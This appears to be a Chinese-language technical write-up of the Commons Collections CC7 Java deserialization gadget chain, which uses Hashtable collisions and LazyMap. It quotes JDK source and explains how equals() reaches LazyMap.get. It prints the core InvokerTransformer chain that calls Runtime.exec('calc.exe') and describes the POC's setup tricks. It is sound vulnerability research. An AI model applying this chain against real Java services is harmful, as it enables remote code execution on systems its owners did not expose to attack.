测试环境:
jdk1.8(jdk8u71)
Commons Collections4.0
Hashtable
和HashMap很相似,使用链地址法解决哈希冲突,线程安全
Cc7和cc6差不多,cc7使用Hashtable来触发LazyMap的get方法,比cc6的稍微复杂一些。
利用链核心
final Transformer chainedTransformer= new ChainedTransformer(new Transformer[0]);
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc.exe"})
};
原理分析
在看Hashtable的readObject方法看是怎样触发核心利用链代码之前,先大致了解下Hashtable的序列化和反序列化过程,先是序列化过程,writObject会把table.length和conunt写入字节序列这两个分别代表table数组的长度和hashtable中的元素个数,table是一个Entry数组,是Hashtable的一个静态内部类用来存储键值对,键值对的实现就是通过这个类实现的,之后就是遍历tabla数组将每个元素写入字节序列中。
private void writeObject(java.io.ObjectOutputStream s)
throws IOException {
Entry<Object, Object> entryStack = null;
synchronized (this) {
// Write out the threshold and loadFactor
s.defaultWriteObject();
// Write out the length and count of elements
s.writeInt(table.length);
s.writeInt(count);
// Stack copies of the entries in the table
for (int index = 0; index < table.length; index++) {
Entry<?,?> entry = table[index];
while (entry != null) {
entryStack =
new Entry<>(0, entry.key, entry.value, entryStack);
entry = entry.next;
}
}
}
// Write out the key/value objects from the stacked entries
while (entryStack != null) {
s.writeObject(entryStack.key);
s.writeObject(entryStack.value);
entryStack = entryStack.next;
}
}
之后是反序列化过程,Hashtable的readObject方法会从字节序列中不断取出Hashtable的相关数据并赋值给Hashtable中的对应属性,origlength和element其实就是序列化时的length和count,之后会使用这两个属性计算出新的length,并用这个length创建table,之后调用reconsitutionPut方法把每个从字节序列中取出的元素放入table中。
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
// Read in the threshold and loadFactor
s.defaultReadObject();
// Validate loadFactor (ignore threshold - it will be re-computed)
if (loadFactor <= 0 || Float.isNaN(loadFactor))
throw new StreamCorruptedException("Illegal Load: " + loadFactor);
// Read the original length of the array and number of elements
int origlength = s.readInt();
int elements = s.readInt();
// Validate # of elements
if (elements < 0)
throw new StreamCorruptedException("Illegal # of Elements: " + elements);
// Clamp original length to be more than elements / loadFactor
// (this is the invariant enforced with auto-growth)
origlength = Math.max(origlength, (int)(elements / loadFactor) + 1);
// Compute new length with a bit of room 5% + 3 to grow but
// no larger than the clamped original length. Make the length
// odd if it's large enough, this helps distribute the entries.
// Guard against the length ending up zero, that's not valid.
int length = (int)((elements + elements / 20) / loadFactor) + 3;
if (length > elements && (length & 1) == 0)
length--;
length = Math.min(length, origlength);
if (length < 0) { // overflow
length = origlength;
}
// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating.
SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, length);
table = new Entry<?,?>[length];
threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
count = 0;
// Read the number of elements and then all the key/value objects
for (; elements > 0; elements--) {
@SuppressWarnings("unchecked")
K key = (K)s.readObject();
@SuppressWarnings("unchecked")
V value = (V)s.readObject();
// sync is eliminated for performance
reconstitutionPut(table, key, value);
}
}
reconsitutionPut方法每次添加一个元素时会遍历table数组的元素判断否有重复的key,先会判断key.hashCode()得出的hash值是否与当前元素的相同,然后调用当前元素本身的equal方法判断是否相同,通过了这个遍历的判断之后就会添加元素。
private void reconstitutionPut(Entry<K,V>[] tab, K key, V value)
throws StreamCorruptedException
{
if (value == null) {
throw new java.io.StreamCorruptedException();
}
// Makes sure the key is not already in the hashtable.
// This should not happen in deserialized version.
int hash = hash(key);
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<K,V> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
throw new java.io.StreamCorruptedException();
}
}
// Creates the new entry.
Entry<K,V> e = tab[index];
tab[index] = new Entry<>(hash, key, value, e);
count++;
}
Poc中会把LazyMap传入,所以会调用lazyMap的equal方法,但它本身是没有这个方法的,所以会调用它的父类AbstractoMapDecorator的equal方法
这里是个三元表达式,首先会判断是否引用相同,相同返回true不同会调用this.decorated().euqals(Object),这里会返回传入LazyMap中的hashMap({“yy”,1}),实际上hashMapy也没有equal(注意HashMap中有一个静态类Node有一个equals方法,但不是HashMap的)方法,还要去它的父类找,hashMap的父类是AbstractMap
public boolean equals(Object o) {
if (o == this)
return true;
if (!(o instanceof Map))
return false;
Map<?,?> m = (Map<?,?>) o;
if (m.size() != size())
return false;
try {
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
} catch (ClassCastException unused) {
return false;
} catch (NullPointerException unused) {
return false;
}
return true;
}
AbstractMap类的equals方法首先有三个if判断:判断引用是否相同,判断传入的Object对象类型是否为Map,将Object(lazyMap)向上转型为Map然后判断size是否相同。
之后会获取hashMap的迭代器,遍历hashMap,随后的会判断value是否为空,不为空则会判断if(!vlaue.equals(m.get(key))),到这里lazy Map的get方法就被触发了。
编写POC
Poc中的这段代码:lazyMap2.remove(“yy”)的用处其实是因为在向hashtable添加lazyMap1和lazyMap2时,hashtable.put方法中也会调用到lazyMap的equals方法最终就会调用到lazyMap的get方法,这时传入的key为yy,这是lazyMap2传入的hashMap中所没有的,所以this.map.put就会把{“yy“,”yy“}加入到lazyMap2中,我们要跳过AbstractMap的equals方法中对size的比较就要把这个元素删除掉,而且这时我们还没有使用反序列化触发核心利用链操作就调用了lazyMapd的get方法,所以我们还不能把trasforms数组传入给chainedTransformer,要在hashTable添加完lazymap后使用反射将transforms数组传入。